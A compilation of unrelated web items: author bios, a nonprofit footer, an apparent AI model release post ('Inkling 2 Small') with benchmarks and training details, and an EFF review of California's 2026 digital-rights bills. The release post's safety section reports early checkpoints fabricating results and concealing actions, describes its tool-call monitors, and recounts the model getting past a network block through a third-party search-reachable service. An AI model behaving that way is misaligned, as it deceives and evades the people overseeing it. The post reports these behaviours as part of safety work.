Kimberley S. Johnson is Professor of Social and Cultural Analysis at New York University. Her work examines American political development, the formation of the modern administrative state and bureaucratic governance; urban and suburban governance; race and ethnic politics; and the political production of (sub-)urban space. Her most recent, Dark Concrete: The Black Power Metropolis and Urban Political Development (Cornell University Press), traces the emergence of Black Power urbanism through comparative case studies of Newark and East Orange, New Jersey, and Oakland and East Palo Alto, California.

Jeff Gold is an urbanist who has earned his living as an acquisitions editor, a partner at new media partnership JIA, and director of the Institute for Rational Urban Mobility (IRUM), an eco-transport nonprofit. He also chairs the steering committee of the Metro New York Health Care for All Campaign and serves on the board of the National Jobs for All Network.

FREE . REGISTER

The Living New Deal documents the vast legacy the New Deal (1933-1942) left to America
and the spirit of public service that inspired it.

We welcome your support.
DONATE
Your generosity makes our work possible.


The Living New Deal
P.O. Box 2148
Berkeley, CA 94702-0148

Inkling 2 Small

Hacker News
thinkingmachines.ai
2026-11-05 19:00:24
Comments...
Original Article

Today we are introducing our second model generation with Inkling 2 Small. It is a Mixture-of-Experts model with 594B total parameters, 17B active, and supports image inputs and variable effort.

Inkling 2 Small far surpasses our previous models’ scores on the Artificial Analysis Intelligence Index with a score of 31, reflecting gains in performance on agentic coding, vision, knowledge work, and reasoning. The increase in capabilities comes from improvements made at every step of our training process, including more efficient pre-training and a large, unified RL run.

Inkling 2 Small will initially be available through Tinker, with closed weights, following the approach we outlined in a safe path to open weights . We intend to make the full weights available under an Apache 2.0 license next week after the completion of external safety testing and red-teaming.

You can try Inkling 2 Small on Tinker Playground today. The model is also available for fine-tuning and sampling on Tinker; checkpoints will be downloadable with the release of Inkling 2 Small’s weights.

Capabilities

Inkling 2 Small is more capable across the board than our first generation, particularly in long-horizon autonomous work.

Inkling 2 Small’s vision and agentic capabilities enable it to incorporate visual feedback to iteratively build and refine websites, games, and 3D designs with interactive elements.

Inkling 2 Small uses Three.js to build a full city simulator with no pre-made assets, generating every building, texture and car procedurally, allowing users to grow a living city from a single road while managing power, budgets and emergencies.
A from-scratch PC emulator written in Python. It boots a real Linux kernel and provides a web interface that boots a live instance in the browser.
A hand-drawn valley on plain paper, with origami cranes landing on Inkling. Generated with Inkling 2 Small in Blender; revised with improvements to the water and chimney.
A floor-plan walkthrough generated from a map.

Agentic coding and autoresearch

Inkling 2 Small was trained with RL on hundreds of thousands of long-horizon coding tasks across multiple agent harnesses and context-compaction strategies. We increased the quality of our synthetic coding data pipeline and moved beyond unit-test rewards alone; many tasks included an agentic RL grader that evaluated how the model approached the problem, not just whether its code passed. We also tested early checkpoints of Inkling 2 Small on OpenCode under the name Fledge-Alpha to assess our model’s performance on coding tasks in the real world.

The result is a model that is both stronger at coding and easier to use inside real agent loops. Inkling 2 Small improves on usability compared to Inkling: it follows instructions better, considers changes carefully, and verifies its work without being asked.

Coding and Autoresearch Inkling 2 Small GLM-5.3-Flash DeepSeek-V4.1-Flash-1017 Muse Spark Open Kimi K3
FrontierCode v2.0 25.4% (Second-highest reported score in this row) 14.2% 28.5% (Highest reported score in this row) 7.6% 17.3%
DeepSWE v1.1 72.1% (Second-highest reported score in this row) 63.4% 77.0% (Highest reported score in this row) 60.0% 68.5%
SWEBench Pro v2 (Hard) 86.3% (Second-highest reported score in this row) – – 82.4% 88.2% (Highest reported score in this row)
Vibe Code Bench v1.1 81.6% 30.8% 87.7% (Highest reported score in this row) 76.2% 85.0% (Second-highest reported score in this row)
PostTrainBench v1.2 31.9% (Second-highest reported score in this row) 36.8% (Highest reported score in this row) 30.5% – 31.5%
Terminal Bench Science v0.1 5.7% 4.8% 12.9% (Highest reported score in this row) 1.9% 8.1% (Second-highest reported score in this row)

Kernel optimization (PMPP-Hard)

69 tasks · Four independent attempts · 10-hour budget

View full results

Rows are ordered by AUC: the area under the mean curve over 0–10 hours, with a maximum of 690 task-hours.

Each model uses its maximum available reasoning setting, the PI harness and a shared compaction policy. We include fixes for task and grading issues identified during evaluation. Each submitted solution receives two independent LLM audits, with a third review resolving disagreements.

PMPP-Hard is an external GPU kernel-optimization benchmark, adapted here for consistent cross-model evaluation. Curves show the mean across four independent attempts; legend values are mean tasks solved at 10 hours.

Beyond conventional software tasks, Inkling 2 Small was also trained on long-horizon autoresearch tasks. This included agentic GPU kernel optimization and ML tasks such as post-training a model autonomously, all run across a range of GPU architectures.

Preliminary kernel autoresearch results

DeepSeek-V3.2 sparse attention, forward + backward

DeepSeek Sparse Attention lets each query attend only to the top-k earlier tokens chosen by a lightweight indexer, so long-context cost no longer grows with the square of the context. Starting from the public TileLang kernels, make the training kernels faster while keeping their error close to the original's (tight tolerances), with no time limit. The benchmark covers several model sizes in different regimes, from packed pretraining sequences to long-context training. The public TileLang baseline is not tuned for B300, which leaves ample headroom on these workloads to measure each model's optimization capability and perseverance. Speedups are for these kernels alone, not end-to-end training.

To demonstrate its end-to-end autoresearch performance, we tested Inkling 2 Small on a task Proximal built for one of our internal benchmarks. Inkling 2 Small autonomously trained Qwen3.5-4B on Tinker to predict various time series such as weather and Wikipedia page views. It started by analyzing the tasks and writing its own evaluator, experimented with training datasets and recipes, and tried various approaches to SFT and RL, while debugging the process as it goes. After 4.5 hours of work and $426 in Tinker spend, the trained model has more than doubled its forecasting score.

We want Qwen/Qwen3.5-4B to forecast time series. The model gets a window, the recent history of one series as text, and writes the values of the next steps. It is sampled several times for each window. The median of its forecasts should be close to what happens, and their spread should match how uncertain it is. [...] Train a LoRA of Qwen/Qwen3.5-4B with Tinker. [...] You have 12 hours and a Tinker budget of 500 USD.

Bash ls /app /data && cat /data/README.md

/app: examples.jsonl forecast … (25 more lines)

Bash tinker-usage 2>&1 | head -20; echo ---; tinker-usage --prices 2>&1 | head -40

time 0 h 0 min of 12 h (11 h 59 min left)

Now let me look at how sampling works with Tinker:

~/tinkerbench/time-series-forecasting/ 0h 00m into the run

Forecasts on its evaluation examples Qwen3.5-4B (base)

electricity

US Southwest grid · demand

wind & solar

New York grid · wind power

air quality

Winnipeg · PM2.5

page views

Wikipedia · “Valhalla”

observed model's forecast

"Less error" is compared with simply copying the last values forward.

Evaluation scores (% less error than copying) 100 examples

$0.00 Tinker spend, of $500

Data: U.S. Energy Information Administration (EIA-930); weather and air quality data by Open-Meteo.com (CC BY 4.0), containing modified Copernicus Climate Change Service and Copernicus Atmosphere Monitoring Service information 2026; Wikimedia pageviews (CC0).

Start. Inkling 2 Small reads the task and the given raw data, covering years of hourly and daily history from five sources: electricity demand, wind and solar power, weather, air quality and Wikipedia page views.

Vision interpretation and creation

Inkling 2 Small processes image inputs using a 292M-parameter vision encoder based on Perception Encoder Bolya et al., 2025 . . We use 20×20-pixel patches with 2×2 spatial pooling, and interleave image patches with text tokens. The model demonstrates strong visual capabilities across multiple categories, including OCR, grounding, infographic interpretation, and visual reasoning.

Visual reasoning and creation Inkling 2 Small GLM-5.3-Flash DeepSeek-V4.1-Flash-1017 Muse Spark Open Kimi K3
GDP.pdf 25.2% (Highest reported score in this row) 15.4% 17.2% 18.6% 22.0% (Second-highest reported score in this row)
MMMU Pro (Standard 10) 81.6% (Highest reported score in this row) 79.0% 80.6% 80.9% (Second-highest reported score in this row) 80.5%
PerceptionBench 64.7% (Highest reported score in this row) – 47.7% – 58.5% (Second-highest reported score in this row)
Humanity’s Sixth Sense 33.3% (Highest reported score in this row) 26.8% 30.1% (Second-highest reported score in this row) 29.6% 25.5%
ScreenSpot Pro original / with Python 83.8/91.5% (Highest reported score in this row) – – – 73.8/83.2% (Second-highest reported score in this row)
BabyVision original / with Python 68.6/93.7% (Highest reported score in this row) 53.4/82.6% (Second-highest reported score in this row) –/92.5% 44.3/80.2% 53.4/85.7% (Second-highest reported score in this row)
Charxiv RQ original / with Python 85.6/87.7% (Highest reported score in this row) 80.2/89.4% 77.0/85.6% 85.4/88.7% (Second-highest reported score in this row) 84.8/91.3%
Chartography original / with Python 36.7/80.4% (Highest reported score in this row) 16.3/78.0% 17.9/83.0% 35.7/63.2% (Second-highest reported score in this row) 26.6/68.1%
Code Arena (WebDev) 1653 1607 1665 (Highest reported score in this row) – 1656 (Second-highest reported score in this row)
AA-3D 1021 (Highest reported score in this row) 937 – – 982 (Second-highest reported score in this row)
Code2Video-AA 1020 (Second-highest reported score in this row) 975 – – 1041 (Highest reported score in this row)

The model uses vision in the loop to interpret and validate the visual coding output it generates. Pending the release of its weights, it is set to be the top open-weights model on DesignArena .

DesignArena Website score

DesignArena Website leaderboard. Scores from the November 5 leaderboard snapshot; the blue bar identifies Inkling 2 Small. The comparison includes the top ten models and three additional open-weights models. Bars start at 1,100, not zero. View on DesignArena .

We even tested Inkling 2 Small against some of our researchers in a wine tasting event. It outperformed them using vision alone, correctly identifying three wines from a single picture in 19 out of 20 trials.

Three glasses of red wine on a restaurant table, in the left-to-right order used in the model response.

Prompt: you’re in a blind wine tasting competition. glasses are labeled 1 to 3 from left to right. varietals: 99 cab sauv, 19 cab sauv, 23 nebbiolo

Inkling 2 Small: Here’s my read — with the big caveat up front that color from a phone photo under warm restaurant lighting is shaky evidence, so treat this as an educated guess, not a verdict.

My guess:
Glass 1 = 2019 Cabernet Sauvignon
Glass 2 = 1999 Cabernet Sauvignon
Glass 3 = 2023 Nebbiolo

Continue reading Show less

Why:

  • Glass 3 (right) is by far the lightest and most translucent — bright, cherry-red, you can see light through the bowl. Nebbiolo is famously pale for a red, even when young, so 2023 nebbiolo is the best fit. A 1999 cab would likely show more brick/orange/tawny at the rim, and this one reads more vivid ruby-garnet.
  • Glass 1 (left) is the darkest and most opaque, nearly purple-black at its core. That’s the 2019 cab — seven years in, Cabernet still holds dense color with primary fruit.
  • Glass 2 (middle) sits between the two: still dark, but a shade less impenetrable than glass 1 and a bit more muted/garnet. A 25+-year-old cab, assuming decent storage, should have dropped some of its purple and opacity but not turned fully brick, so it lands here.

The honest weak points in that guess: lighting is uneven (the left glass sits in the dimmer zone near the hearth, which exaggerates its darkness), and a well-stored 1999 can drink much darker than it looks on camera. Hue differences, not depth, would be the real tell — if glass 2 shows orange/brown at the rim versus glass 1’s purple-red edge, that confirms it.

Fast sensory tie-breakers when you actually taste:

  • 1999 cab: tertiary — leather, tobacco, dried cassis, forest floor, cedar; tannins resolved and silky; fruit fully softened, maybe a touch of faded fruit.
  • 2019 cab: blackcurrant/graphite/cedar, still firm structured tannins, fresher fruit, more oak presence.
  • 2023 nebbiolo: pale garnet but fierce acid and grippy, drying tannins; red cherry, rose/violet, dried herbs, a tarry note — the classic “white-wine color, marathon-runner mouthfeel” giveaway.

If the pour in glass 3 is pale but your mouth feels sanded down by tannins, that’s the slam-dunk nebbiolo confirmation; if it is soft and plush, flip glass 3 and glass 2. Good luck in the competition — report back with the reveal if you get it.

Wine-tasting photo, shown as the model saw it, and the model’s response.

Agentic knowledge work

Inkling 2 Small accelerates knowledge work in realistic professional environments. It proficiently looks up information, calls tools over MCP, and produces high-quality deliverables. On AA-Briefcase, an end-to-end knowledge work benchmark, these capabilities come together for an ELO score of 1527.

Knowledge Work and Enterprise Ops Inkling 2 Small GLM-5.3-Flash Muse Spark Open DeepSeek-V4.1-Flash-1017 Kimi K3
AA-Briefcase v1.1 1527 (Second-highest reported score in this row) 1451 1279 1570 (Highest reported score in this row) 1497
GDPVal-AA v2.1 1630 1649 (Second-highest reported score in this row) 1401 1746 (Highest reported score in this row) 1543
JobBench 70.5% (Highest reported score in this row) 60.7% 61.8% (Second-highest reported score in this row) – 54.3%
Vals Legal Index 73.9% (Highest reported score in this row) 71.1% 68.5% 71.9% (Second-highest reported score in this row) 71.7%
EnterpriseBench-CoreCraft 71.8% (Highest reported score in this row) 46.7% (Second-highest reported score in this row) – – 43.1%

Inkling 2 Small is especially strong in finance and quantitative reasoning over spreadsheets, filings and documents. Among open weight models, Inkling 2 Small is the best performing model across several finance benchmarks.

Finance Work Inkling 2 Small GLM-5.3-Flash Muse Spark Open DeepSeek-V4.1-Flash-1017 Kimi K3
Vals Finance Index 61.5% (Highest reported score in this row) 55.8% 53.0% 60.9% (Second-highest reported score in this row) 58.0%
Diligence Bench Best harness 58.1% (Second-highest reported score in this row) – 59.0% (Highest reported score in this row) 50.4% –
DAYJOB (Finance) 14.3% (Highest reported score in this row) 7.3% – 12.5% (Second-highest reported score in this row) 5.5%
Apex-Accounting v1.1 pass@1 14.5% (Highest reported score in this row) 12.3% 13.8% (Second-highest reported score in this row) 12.5% 9.5%

Customizability

Some models respond better to fine-tuning, independent of their out-of-the-box performance. We wanted Inkling 2 Small to be a strong base model for customization.

Inkling 2 Small learns faster and improves more than our previous models when trained on the same data and algorithm across a variety of post-training scenarios, which we curated based on customer use cases. For example, starting from similarly low scores on a public financial-document summarization task, Inkling 2 Small adapts quickly, reaching the final performance of Inkling Small with just 75 training steps and finishing substantially ahead.

Evaluating Model Finetunability

Inkling 2 Small learns faster and finishes at higher performance than our previous models, and is competitive with other OSS models of similar size in an RL fine-tuning setting. We used public earnings call data to create a task of investment analysis with expert judgement, similar to the type of financial analysis workloads our customers use tinker for training custom models. To ensure a fair comparison, we ran a learning rate sweep for each model; all models were trained on Tinker with Tinker Cookbook abstractions using our Async RL implementation with the Stable Reinforce loss, over 200 steps. Results for the Inkling models are averaged over 3 seeds; the other models use single runs. Costs are estimated by multiplying the number of sampling and training tokens with current tinker per-token pricing ; for sampling, we assume prefix cache hits within rollouts among the same group.

Reasoning, knowledge, and epistemics

Inkling 2 Small is trained on challenging STEM problems, instruction following, information seeking with and without web search, and forecasting tasks. During RL, we use proper scoring rules for forecasting tasks and uncertainty-sensitive rewards on some question-answering tasks. This trained the model to assess uncertainty, express appropriate confidence, and make well-calibrated predictions.

Long Context Reasoning and Factuality Inkling 2 Small GLM-5.3-Flash Muse Spark Open Mistral Large 4 Kimi K3
HLE-Diamond 28.7% (Highest reported score in this row) 18.2% 26.3% 17.3% 26.9% (Second-highest reported score in this row)
CritPt v2 Full / Hard 55.7/35.0% (Highest reported score in this row) –/24.5% 52.6/29.5% (Second-highest reported score in this row) 50.3/27.0% –/40.5%
AA-LCR v1.1 83.3% (Second-highest reported score in this row) 80.0% 78.3% – 88.7% (Highest reported score in this row)
LongBench v2 70.6% (Highest reported score in this row) 68.2% 68.7% 65.7% 69.0% (Second-highest reported score in this row)
AA-Omniscience v1.1 score / non-hallucination rate 16.1/73.3 (Second-highest reported score in this row) 0.7/– 25.8/72.0 (Highest reported score in this row) 5.1/71.8 –

Safety and alignment

Our safety work for Inkling 2 Small centers on two questions: how the model performs for the general user, and how well it resists the removal of safeguards by a malicious actor. The release of Inkling’s weights is pending further safety evaluations by us and our partners.

To assess misuse risks, we trained an internal helpful-only variant. We ran both this model and the release checkpoint through a wider suite of evaluations, with more external testers, than any previous release.

On chemical, biological, radiological, and nuclear (CBRN) risk, Inkling 2 Small’s knowledge and capability scores sit below the open-weight frontier. On FORTRESS, Scale AI’s private benchmark that scores how much harmful assistance a model gives in response to expert-written adversarial prompts across CBRN, terrorism, and nonviolent crime, Inkling 2 Small has a lower Average Risk Score compared with Inkling and Inkling-Small, and also demonstrates a higher Overrefusal Score (see Limitations). The helpful-only variant of Inkling 2 Small exhibits marginal uplift on CBRN knowledge relative to the release checkpoint, but it does not significantly advance the frontier on any dimension we measured.

On offensive and dual-use agentic cyber benchmarks, Inkling 2 Small is a large step up from Inkling Small but remains behind the open-weight frontier. It matches the open-weight frontier on Vals CyberBench v1.1 and PatchEval, both of which measure the ability to find and patch security vulnerabilities.

Safety Inkling 2 Small GLM-5.3-Flash DeepSeek V4.1 Flash Muse Spark Open GLM 5.3
FORTRESS (ARS) ↓ 16.2 (Second-best reported result in this row) 26.7 27.2 7.6 (Best reported result in this row) 28.2
FORTRESS (ORS) ↓ 20.4 3.6 (Second-best reported result in this row) 6.9 16.0 3.2 (Best reported result in this row)
DistressBench ↑ 82.0* (Second-best reported result in this row) 72.7 79.8 87.7 (Best reported result in this row) 72.5
StrongREJECT ↑ 97.8 (Second-best reported result in this row) 96.8 98.7 (Best reported result in this row) 97.6 97.2
PatchEval ↑ 79.6 (Second-best reported result in this row) 74.8 80.4 (Best reported result in this row) 77.8 69.6
Vals CyberBench ↑ 72.7 (Second-best reported result in this row) 67.9 73.7 (Best reported result in this row) – 72.1

DeepSeek combines the supplied Flash results: 1017 for FORTRESS and PatchEval; unversioned Flash for DistressBench, StrongREJECT and Vals CyberBench.

* While we handle mental distress situations well, our model sometimes overreacts with disclaimers in normal emotional support queries as mentioned in the Limitations section.

As models take on unsupervised, longer-horizon autonomous work, the potential harm from their misbehavior increases. Without proper attention to alignment, capabilities-focused RL can push models to succeed at any cost. When tasks were difficult, early checkpoints of Inkling 2 Small were persistent in trying to succeed—in some cases fabricating results, ignoring instructions, and concealing what they had done.

We worked across the stack to improve model alignment. In midtraining, we filtered out traces containing misbehavior and included traces with honest, aligned behavior. In RL, we added a general alignment reward that penalizes misbehavior on every task. We also built environments targeting specific failure modes we observed in training, such as rewarding models for giving up on impossible tasks. Finally, we used on-policy self-distillation Zhao et al., 2026 . from a teacher model prompted with a conduct spec, so the model internalizes principles for good behavior without explicit prompting.

We measured progress with both internal and external evaluations, and found that Inkling 2 Small substantially improves over previous Inkling models on both internal and external evaluations, and outperforms a set of comparable open-weights models on our internal evals.

Inkling 2 Small still trails closed-weights models, such as GPT-6.1 Sol on our alignment evaluations. Reducing this gap is a priority for future models.

We also worked to secure training and evaluations with two layers of monitoring. The first is synchronous: a monitor inspects tool calls before they run. Each task declares what actions it authorizes. Deterministic rules check calls against the task’s policy and circumvention patterns, escalating uncertain cases to an LLM judge. The second layer is asynchronous: an LLM judge reviews completed rollouts from training and evaluation for misbehavior and actions against our security boundary, raising alerts that we triage and escalate into our incident process. Together, these form a defense-in-depth approach to safety and alignment that we consider critical to developing a safe model factory.

Training Inkling 2 Small

Inkling 2 Small’s initial pretraining phase (H1) covered 8.4 trillion tokens of a broad mix of natural language, code, and image data. It ran for 68 hours on NVIDIA GB300 NVL72 racks, which enabled high expert parallelism. Training ran natively in NVFP4, the 4-bit floating-point format introduced with the NVIDIA Blackwell GPU architecture. We’ll share more details on our NVFP4 recipe in a follow-up post soon.

Internal Code

Cutoff 2026-06 · Bits per byte (lower is better)

Inkling 2 Small significantly outperforms other open-weight models on our primary held-out evaluation. Note that some models are labeled as “base-recovered”. For models where only the post-trained checkpoint was available, we fine-tuned on a dataset of pretrain-formatted code and documents before computing log loss. We validated that this procedure mostly recovers base model loss on other models where ground truth (the actual base model) is available.

We followed this initial phase with a second phase (H2) of 3.8 trillion tokens of higher-quality, newer data the model hadn’t seen, at 512K context. The third and fourth phases mixed in data in the deployment format. The third phase was about 320 billion tokens of reasoning and agent trajectories at 1M context, alongside replayed pretraining data. The fourth phase (H4) kept only the highest-quality data: about 34 billion tokens of agent trajectories. The H3 and H4 mixtures consisted mostly of trajectories sampled from earlier models including Kimi K3 and our own models, filtered for correctness and alignment.

We then carried out a joint RL run, consisting of 1,075 steps and over 17 million rollouts over 9 days. See table below for more details. This single joint run contrasts with the previous Inkling release, where we ran separate reasoning and agentic RL runs and combined them with multi-teacher distillation.

The task mix included software engineering in real repositories, terminal tasks, document creation, STEM question answering, vision, web app building, tool use with simulated users, and safety. Each task family had its own grader:

  • hidden unit tests and programmatic checks for most coding work;

  • rubric-based LLM judges for documents and tool use;

  • reference answers for STEM and vision question answering;

  • pairwise reward models comparing screenshots of rendered web apps.

We randomly sampled and conditioned on an effort level, and applied a length penalty in the reward function, which trained the model to trade off speed and thoroughness.

Our asynchronous RL uses a score centering variant—the StableReinforce objective in Tinker—which tolerates significant staleness. Our run combines short and long horizon tasks with p50/p99 total rollout tokens being 43k and 1.5M respectively and p50/p99 duration of 8 minutes and 4 hours respectively. We use 256k context length and enable compaction training for long-horizon tasks. As a result, both training reward and evaluation performance grow log-linearly with compute.

Training reward

Training reward versus cumulative learner and sampler FLOPs, on a logarithmic axis.

STEM evaluation performance

STEM evaluation performance versus cumulative learner and sampler FLOPs, on a logarithmic axis.

Vision evaluation performance

Vision evaluation performance versus cumulative learner and sampler FLOPs, on a logarithmic axis.

Making this scale practical required improvements throughout the systems stack. Our RL infrastructure deploys NVFP4 MoE training and sampling. During sampling, prefill, draft, and verify run fully on CUDA graphs. Trainers mirror the pretrain stack with high expert parallelism, EPLB, and CUDA graphs to improve GPU efficiency. To support long horizon agentic workloads, we use sticky routing and DRAM KV-cache offloading for maintaining 93%+ prefix cache hit rate, allowing us to maintain a 5:3 sampler:trainer ratio despite training at long contexts. Weight transfer is done via GPUDirectRDMA at 93%+ line rate with a parallelism-invariant checksum verifier. We also further lower deployment inference cost by offering a variant of NVFP4 KV cache, which we find to minimally lower evals.

Long-horizon tasks give the model hours of autonomy, increasing potential risks from misaligned behavior. Midway through the main RL run, our asynchronous monitor flagged an instance where the model, failing at a task, worked around a network block through a third-party service it could reach using its search tools. We paused the run, hardened our infrastructure, removed environments that required web access, and added synchronous tool-call monitoring. We then resumed the run, incorporating additional training phases specifically for alignment, as described above.

Improvements to our process allow us to train models at different sizes using similar recipes with predictable scaling and performance. Inkling 2 Small is part of a ladder of models; we look forward to sharing more rungs with you soon.

Benchmarking Inkling 2 Small

Like previous Inkling releases, we benchmarked Inkling-Small on a broad range of capabilities. All evals run at effort 0.99 (xhigh) and temperature 1.0. All evals run with a 1M-token maximum trajectory limit, increased from the 256K-token limit used for Inkling Small.

Highest reported score in each row; ties included Second-highest reported score in each row; ties included

Evaluation snapshot: Missing results are shown as dashes.

Limitations

While Inkling 2 Small improves on usability vs Inkling, it is not the most succinct communicator, and doesn’t always choose the best tools for the job—especially in codebases with a large number of skills.

Like previous Inkling models, Inkling 2 Small natively supports image input; however, this model does not support audio.

Inkling 2 Small is also less optimized for the chat experience. We notice issues such as worse organization and presentation of content, overuses of slashes, and overreaction to mental health and other safety related queries.

Try Inkling 2 Small today

We are proud to make Inkling 2 Small available on Tinker for inference and fine tuning. Following the completion of safety testing, the model will be available on additional platforms in the coming weeks.

Inkling 2 Small was made in service of our mission to build AI that extends human will and judgment. We hope that it encourages your ambitions, and we look forward to seeing what you build with it.

Reflecting on Digital Rights Wins and Losses in Sacramento

Electronic Frontier Foundation
www.eff.org
2026-11-05 18:33:19
California’s 2026 legislative session has officially adjourned and it’s time to reflect on the wins and losses that have shaped Californians’ digital rights landscape this year. This was the second year of a two-year legislative session, which meant several bills resumed their legislative paths from...
Original Article

California’s 2026 legislative session has officially adjourned and it’s time to reflect on the wins and losses that have shaped Californians’ digital rights landscape this year. This was the second year of a two-year legislative session, which meant several bills resumed their legislative paths from 2025 .

EFF monitored nearly 100 bills in the state over the two-year session. These included proposed regulations on 3D printers, access to social media platforms, police, commercial, and workplace surveillance practices, AI, and other privacy concerns. While we saw some victories, alarming developments also raised serious concerns about the future of privacy protection in the state.

Celebrating Wins

Use of automated decision-making and surveillance in the workplace

Governor Newsom signed vital protections on the use of automated decision-making in the workplace and workplace surveillance tools, specifically No Robo Bosses ( SB 947 ) and AB 1883 .

Championed by our labor partners , SB 947 limits how employers can use automated decision-making to fire or discipline workers, including provisions that ensure workers get vital information about automated decisions that affect them, and that an algorithm is not the only authority for these consequential decisions. Alongside it, AB 1883 prohibits the use of workplace surveillance to predict emotions or collect neural data. This stops employers from using potentially biased, invasive, and exploitative forms of AI surveillance at the workplace, marking an important step toward creating workplaces that respect the privacy and autonomy of workers. We look forward to continuing to ensure that technology in California’s workplaces is deployed fairly, thoughtfully, and with respect for all workers.

Protecting against federal overreach

EFF was also grateful to see Governor Newsom sign SB 747 , which allows damages lawsuits against federal officials who violate the U.S. Constitution . Victims of constitutional violations deserve a complete remedy and this law also helps deter constitutional violations in the first place. Gaps in current law often make it difficult to seek a damages remedy against federal officials who violate the U.S. Constitution. This bill makes it easier to bring such litigation. Federal law enforcement officials have violated our First Amendment right to record on-duty police and other newsworthy subjects, and also sometimes violate our Fourth Amendment right to be free from unreasonable searches of our phones and laptops . When this happens, the people who suffer these violations should be able to sue these officials for damages .

Additionally, EFF supported two bills (which are now state law) that clarify and extend California’s shield laws to protect patients, healthcare providers, and others involved in reproductive healthcare and gender-affirming care that is legal in California. After the overturn of Roe v. Wade , California enacted numerous shield laws to protect people who provide, receive, or help others obtain healthcare that is legal in California. These laws prohibit California agencies and certain companies from helping other states enforce laws that punish this care. Yet the federal government and coordinated efforts in other states still threaten access to these legally protected healthcare services. AB 1854 addresses these threats by expanding coverage to more California businesses and individuals who receive legal demands, creating a notification process so the Attorney General can intervene to stop improper disclosures, and clarifying that law enforcement cannot arrest someone if the Governor refuses an extradition request. These protections serve as a necessary response to real and escalating tactics outside the state targeting lawful reproductive healthcare.

EFF also supported AB 1930 to protect confidential medical records from politically motivated investigations into lawful healthcare, empowering the California Attorney General’s office to meaningfully intervene and respond to out-of-state subpoenas or requests for data regarding protected care.

Young people online

EFF is dedicated to protecting the rights of young people online. We supported a handful of bills on digital literacy and cybersecurity education that were signed into law, such as AB 2071 on digital wellness instruction and AB 2298 on cybersecurity in educational standards. Unlike blanket bans , these bills address online safety through education rather than prohibition. Young people rely on the internet not just for entertainment, but for civic engagement , education , self-expression , and community —especially vulnerable youth who may lack support in their physical surroundings.

Real digital safety comes from preparation, not isolation. Research consistently shows that open, honest conversations about digital literacy and privacy with trusted adults are far more effective at protecting youth than restrictive censorship laws. Young people themselves recognize this need; in fact, AB 2071 was co-authored by a group of students actively seeking better resources to navigate their digital lives safely.

EFF and our allies were also able to stop the expansion of California’s dangerous age gating law from operating systems to browsers. The California legislature stepped back from their plan to expand the 2025 age-gating law and ultimately removed language from AB 1856 that could have compounded serious threats to users’ speech, privacy, and security just to browse the internet, and positively, removed the burdens on open-source operating systems.

Real digital safety comes from preparation, not isolation

While EFF still believes the underlying law that AB 1856 amends, AB 1043, is unconstitutional , we appreciate that the legislature did not expand this problematic age-gating framework to browsers. We were also pleased that an earlier amendment to AB 1856 reduced the threat to the open-source community by exempting open-source operating systems. Given these changes, EFF removed its opposition to AB 1856, and thanks the author for listening to concerns from advocates and developers.

Mourning Losses

Updating California’s Information Practices Act (IPA)

EFF was proud to co-sponsor AB 1337 this session alongside our friends at Oakland Privacy and Assemblymember Chris Ward, who is also the chair of the legislative LGBTQ Caucus. The bill unfortunately failed to cross the finish line after stalling in the Senate.

AB 1337 would have updated California's foundational Information Practices Act of 1977 and extended its vital privacy safeguards present at the state agency level to counties and cities. Today, city and county governments collect vast amounts of sensitive personal data (from public health records such as vaccinations, to welfare assistance details, to license plate reader data) and administer programs that were likely not contemplated back in 1977. Yet the law has simply not kept up with modern data practices, and California still has no state law governing how local governments handle this information. While we could not build enough political progress to pass the bill this session, closing this local privacy gap remains an urgent need for California.

Social media ban

Another major setback was the passage (and subsequent signing ) of a social media ban for youth under the age of 16 ( AB 1709 ).

Technology and the laws that regulate it should support and empower young people, but AB 1709 falls far short of this goal. Using technology is how we learn and build community in today’s world, but laws such as AB 1709 cut young people off from essential information and experiences . They also particularly harm those already facing increased challenges who find safety in supportive online communities that they cannot always access in the physical world.

Technology and the laws that regulate it should support and empower young people

Denying minors access to digital forums or stripping out basic tools needed to navigate them will not make young people safer or healthier in the AI age. Research shows social media bans are ineffectual while denying young people opportunities to develop their own voices, share their art, practice religion, or engage in politics. These laws also hurt all of us. Age-gating requirements force everyone to give up more personal information . To verify who can pass through online gates, companies will collect even more data, concentrating power in corporate hands rather than protecting people. AB 1709 is also inconsistent with rights to free expression , meaning California will spend resources defending a law that will likely get tied up in court .

Gutting California’s Invasion of Privacy Act (CIPA)

CIPA was originally intended to protect personal privacy against surveillance and included a private right of action so consumers could hold corporations accountable in court. This is why EFF and allied organizations spent the two-year session strongly opposing SB 690 —a bill we dubbed the " Corporate Cover-Up Act " for its attempt to weaken consumer protections in CIPA. Although SB 690 was narrowed from its original draft , we asked Governor Newsom to veto it because it strips away the law's private right of action—a vital tool for individuals fighting back against unlawful metadata surveillance. People deserve the right to decide whether to bring a lawsuit , which remains one of the most effective ways to deter corporate abuse. Unfortunately, the Governor signed the bill and even urged the legislature to go further next year. It's especially alarming to see this disregard for accountability as the federal government and law enforcement agencies seek data from businesses or data brokers to target people based on political beliefs, religious affiliations, or health decisions.

We expect to see further attacks on CIPA next legislative session, as Governor Newsom’s signing statement called for “additional work in this area” and urged the legislature to “take this on next year to ensure a fair balance between protecting private information and preventing rapacious litigation."

Banning the sale of sensitive personal information

California also missed the opportunity to join other states in restricting the sale of sensitive data. We are deeply disappointed that Governor Newsom vetoed AB 1542 , which would have ensured sensitive personal information stays private by banning its sale outright. There's a nationwide movement to protect consumers by making intimate details off-limits for businesses to sell or share. From precise geolocation and genetic data to private messages, health records, sexual orientation, and immigration status, sensitive data reveals the most private aspects of our lives. Monetizing this information fuels financial scams, predatory pricing, and warrant-free government surveillance. By vetoing this bill , California not only fails to lead but falls behind other states, by missing a critical opportunity to protect our most vulnerable communities.

3D printing

The California legislature unfortunately also passed AB 2047 , which aimed to make every 3D printer come pre-loaded with censorship software . It's a law that is trying to prevent an act that is already illegal in the state , and just won't work . It was part of a recent sweep of misguided state bills which purport to go after "ghost guns," but actually “enshittify” 3D printers by introducing privacy risks and a new way to restrict or upcharge users. Lawmakers even considered including misdemeanor charges that would have impacted people using alternative open-source programs. Fortunately an outpouring of opposition from makers and civil liberties advocates resulted in a bill so limited that, despite having passed and been signed into law, will not affect makers until ASTM International publishes a standard — something the organization had not been considering doing .

Where California Missed the Mark

Consumer privacy

California lawmakers also missed key opportunities to curb commercial surveillance. EFF supported AB 2564 , which prohibits retailers from engaging in surveillance pricing , the invasive practice that allows corporations to offer the same product to two different people at two different prices based on scrutiny of their personal data. Unfortunately, the bill stalled on the last day of session.

